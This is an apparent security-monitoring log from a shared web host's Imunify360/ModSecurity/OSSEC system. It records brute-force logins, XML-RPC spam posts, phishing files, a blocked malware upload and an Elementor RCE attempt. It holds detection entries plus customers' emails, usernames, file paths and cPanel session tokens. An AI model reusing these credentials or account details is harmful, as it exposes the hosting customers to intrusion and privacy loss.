IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:311054a968c8a01b525dd1791603ee2620621cd1||Title:iqyd0qnqbujnmkji7||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 15:31:51 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:52440: 535 Incorrect authentication data (set_id=mssql)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 15:31:49 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:493b99a3818427ad646260df076f3abc87798af3||Title:ul3l2jxwrn4iccbe5g||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4f59f4914fcb4dc6cb1cf704850b84b66dc393b1||Title:ro7rle97o5rsdh7||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 82.194.31.44
country_id: 587116
description:
2026-06-08 15:33:07 H=([82.194.31.44]) [82.194.31.44]:54023 F=<John@4452.com> rejected RCPT <sotrane@sotranetogo.com>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cee2ab78d942d5ec86259e952b8f4a9f38a9d0df||Title:yh8zoxvt4i2o7epf||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bfdd9c870ece8543003295627f74d38f6fb6451e||Title:ebgnh1c6y6uiluleb||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.171.46.177
country_id: 2363686
description:
196.171.46.177 - - [08/Jun/2026:15:35:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054555&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2096%252Fcpsess2326401435%252F3rdparty%252Froundcube%252F%253F_task%253Dmail%2526_mbox%253DINBOX&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780932917 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2096/cpsess2326401435/3rdparty/roundcube/?_task=mail&_mbox=INBOX" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.171.46.177


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2cca421f839d0117c949069fb6a92601b4320064||Title:4xuwi5jy6rwn2ek||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.193
country_id: 690791
description:
Jun  8 15:36:39 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.193 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 124.198.132.112
country_id: 6252001
domain: autoconfig.ekeasarl.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:124.198.132.112||TA:124.198.132.112||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bcb3cd6af9bd789cabdef510e4437b4815a271c2||Title:4ukm0grzh4nz8m||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.193
country_id: 690791
description:
Jun  8 15:36:52 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.193 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f6dc42106c9ed02e005b2803f784b573cdc3688||Title:f5gwb6kh52rrgf8||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2bf615318d53cde0f645413b3c0dfb4c5e1f63b1||Title:5ciqjrn71am5wirj||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.158
country_id: 1880251
description:
47.128.96.158 - - [08/Jun/2026:15:39:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854246&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbalema-kossivi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780933176 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/balema-kossivi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.158


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.14
country_id: 2635167
description:
[2026-06-08 15:39:58 +0000] info [cpaneld] 5.230.153.14 NEW libertepansel:otI5q0ZcIfNztI5V address=5.230.153.14,app=cpaneld,creator=libertepansel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.144
country_id: 1880251
description:
47.128.96.144 - - [08/Jun/2026:15:40:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6450374&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fquarantaine-obligatoire-a-laeroport-de-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780933205 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/quarantaine-obligatoire-a-laeroport-de-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.144


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.129
country_id: 1880251
description:
47.128.96.129 - - [08/Jun/2026:15:40:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6998172&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdon-de-mawu-fe-nuse-au-ceg-attikpa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780933224 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/don-de-mawu-fe-nuse-au-ceg-attikpa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.151
country_id: 1880251
description:
47.128.96.151 - - [08/Jun/2026:15:40:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923181&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbalema-kossivi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780933251 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/balema-kossivi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.151


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.90.48
country_id: 6252001
description:
47.251.90.48 - - [08/Jun/2026:15:40:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7118493&pdata=http%253A%252F%252F154.70.82.249%253A2095%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780933231 HTTP/1.1" 302 0 154.70.82.249 "http://154.70.82.249:2095/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.90.48


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.163.0.37
country_id: 1880251
description:
43.163.0.37 - - [08/Jun/2026:15:41:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935002&pdata=http%253A%252F%252Ftogomedia24.tg%252F2024%252F06%252F10%252Fles-evenements-qui-nous-ont-surpris-en-premier-league-lors-de-la-saison-2023-24%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780933307 HTTP/1.1" 302 0 togomedia24.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.163.0.37


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 15:44:16 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 15:44:18 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:55017: 535 Incorrect authentication data (set_id=mssql)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:15-44.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 15:44:39 +0000] info [webmaild] 160.242.195.10 - kabou@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Withdraw Your Massive Funds vamvozmviigr.blogspot.ca 5t||Email:toyag1031@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.9.206.8
country_id: 3686110
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/donnee HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.5.75
country_id: 3017382
description:
[2026-06-08 15:45:17 +0000] info [cpaneld] 51.83.5.75 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 82.194.31.44
country_id: 587116
description:
2026-06-08 15:46:38 H=([82.194.31.44]) [82.194.31.44]:62060 F=<John@4452.com> rejected RCPT <sotrane@sotranetogo.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.124.68.98
country_id: 2245662
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/objectif HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.60.205.164
country_id: 1210997
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/contact HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.133.59.29
country_id: 1880251
description:
43.133.59.29 - - [08/Jun/2026:15:49:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9553821&pdata=https%253A%252F%252Flaunetogo.tg%252Fforum-international-de-lintermediation-du-numerique-et-de-linnovation-foni-2024-les-differents-acteurs-a-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780933746 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/forum-international-de-lintermediation-du-numerique-et-de-linnovation-foni-2024-les-differents-acteurs-a-lome/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.133.59.29


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.159
country_id: 3017382
description:
[2026-06-08 15:50:36 +0000] info [cpaneld] 5.231.64.159 NEW frtwilql:7bIvbMj_izKVrSuH address=5.231.64.159,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.33
country_id: 2635167
domain: cinema.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cinemafreenetmas/public_html/.397119920701360.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.18
country_id: 2635167
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.975054718816665.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.151
country_id: 6252001
description:
[2026-06-08 15:51:35 +0000] info [cpaneld] 64.44.59.151 NEW mgvybwur:ZXJpY75UQ2Ri5IUs address=64.44.59.151,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-08 15:52:02 +0000] info [webmaild] 102.176.253.226 - istin@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.82.67.11
country_id: 1522867
description:
2026-06-08 15:54:37 H=([0.0.0.0]) [95.82.67.11]:32412 F=<John@4452.com> rejected RCPT <info@soena.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-08 15:54:54 +0000] info [cpaneld] 196.171.46.177 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-08 15:55:03 +0000] info [cpaneld] 196.171.46.177 NEW fgbegmfv:c3NQHMG7XmB0_YKR address=196.171.46.177,app=cpaneld,creator=fgbegmfv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.111.225.167
country_id: 1210997
description:
Jun  8 15:56:08 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.111.225.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.111.225.167
country_id: 1210997
description:
2026-06-08 15:56:10 dovecot_plain authenticator failed for H=(6LCBR6) [103.111.225.167]:52472: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 15:57:30 +0000] info [webmaild] 160.242.195.10 - sdogbe@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 15:58:48 +0000] info [webmaild] 160.242.195.10 - sdogbe@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.213
country_id: 6290252
description:
Jun  8 15:57:56 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.211.21.213
country_id: 1269750
description:
Jun  8 15:57:56 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.211.21.213 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 161.10.197.134
country_id: 3686110
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/www.gtaassurances.net HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.159.34.84
country_id: 1880251
description:
43.159.34.84 - - [08/Jun/2026:15:59:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130793&pdata=https%253A%252F%252Flaunetogo.tg%252Fsurvey-do-swedes-consider-the-english-language-a-threat-to-swedish%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780934346 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/survey-do-swedes-consider-the-english-language-a-threat-to-swedish/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.159.34.84


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.82.52
country_id: 6252001
description:
[2026-06-08 16:00:00 +0000] info [cpaneld] 134.195.82.52 NEW wgqhqbem:eK7f63I8zR_mVogi address=134.195.82.52,app=cpaneld,creator=wgqhqbem,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 08 16:01:50 ns5.netmaster.tg cpanel_fileman_hook[985296]: 0 BAILOUT malware detected when save 'index.php' in /home/phoicdxb/public_html/statistiques for user phoicdxb


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.154.65
country_id: 2363686
description:
[2026-06-08 16:02:43 +0000] info [cpaneld] 102.64.154.65 NEW ygpdcalt:P5VStUJZ6bVTz2Gm address=102.64.154.65,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:ygpdcalt:mguA8oPO6CL5OmDe:create_user_session,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 16:02:14 +0000] info [webmaild] 160.242.195.10 - mboroze@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 36.59.126.87
country_id: 1814991
description:
2026-06-08 16:03:17 H=([36.59.126.87]) [36.59.126.87]:51535 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 16:02:55 +0000] info [webmaild] 160.242.195.10 - mboroze@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.247.52
country_id: 2510769
description:
[2026-06-08 16:02:57 +0000] info [cpaneld] 216.26.247.52 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.245
country_id: 3017382
description:
[2026-06-08 16:03:32 +0000] info [cpaneld] 5.231.255.245 NEW sotragonet:sPL8oRJDM8pV_o2K address=5.231.255.245,app=cpaneld,creator=sotragonet,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77350027
name: IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)
abuser: 196.171.57.253
country_id: 2363686
domain: educplusmedia.tg
description:
IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)||WPU:admin_165s3qb0||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-08 16:04:07 +0000] info [webmaild] 102.176.253.226 - secretariat.esi@ucao-uut.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 38.68.184.94
country_id: 3625428
description:
2026-06-08 16:06:09 H=([38.68.184.94]) [38.68.184.94]:59571 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.190.51.159
country_id: 337996
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/hausse-des-prix-du-petrole-et-du-gaz-le-conseil-des-ministres-evalue-les-risques-pour-leconomie-togolaise/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.190.51.159
country_id: 337996
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/hausse-des-prix-du-petrole-et-du-gaz-le-conseil-des-ministres-evalue-les-risques-pour-leconomie-togolaise/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 16:06:24 +0000] info [webmaild] 160.242.195.10 - fkossivi@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.75
country_id: 690791
description:
2026-06-08 16:06:35 H=([172.71.183.199]) [77.83.39.75]:58720 F=<daniele.gagliano@az-armarturen.de> rejected RCPT <b.blaodekissi@ese2i.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.175.7.57
country_id: 2510769
description:
2026-06-08 16:07:03 dovecot_login authenticator failed for H=57.7.175.34.bc.googleusercontent.com (10.204.0.2) [34.175.7.57]:60167: 535 Incorrect authentication data (set_id=moise.attissovi@mesyscom.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 223.83.253.150
country_id: 1814991
description:
2026-06-08 16:07:39 H=([223.83.253.150]) [223.83.253.150]:44194 F=<John@4452.com> rejected RCPT <e.sanvee@lacs1.mairie.tg>: Sender verify failed


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 196.171.122.34
country_id: 2363686
description:
[2026-06-08 16:12:52 +0000] info [webmaild] 196.171.122.34 - info@davakconsulting.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.122.34
country_id: 2363686
description:
[2026-06-08 16:12:18 +0000] info [webmaild] 196.171.122.34 - kagbekoh@davakconsulting.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.64.7.101
country_id: 6252001
description:
[2026-06-08 16:14:18 +0000] info [cpaneld] 64.64.7.101 - cfpj "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cfpj (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 23.81.44.142
country_id: 1861060
domain: lcr-adem.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:42523.lcr-adem.org||ServerName:lcr-adem.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5c0d4570ad873aec1b8a1b253f0a3099a2199972||Title:0x0f361357||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 72.52.156.21
country_id: 6252001
description:
[2026-06-08 16:14:15 +0000] info [whostmgrd] 72.52.156.21 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.52.156.21
country_id: 6252001
description:
[2026-06-08 16:14:12 +0000] info [whostmgrd] 72.52.156.21 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.82.55
country_id: 6252001
description:
[2026-06-08 16:16:39 +0000] info [cpaneld] 134.195.82.55 NEW galsync:kFumJoPrw811Wz_G address=134.195.82.55,app=cpaneld,creator=galsync,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jun  8 16:16:45 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun  8 16:16:52 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun  8 16:16:59 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun  8 16:16:54 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.159.149
country_id: 2363686
description:
[2026-06-08 16:18:44 +0000] info [webmaild] 102.64.159.149 - dboutoma@its.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.141
country_id: 1880251
description:
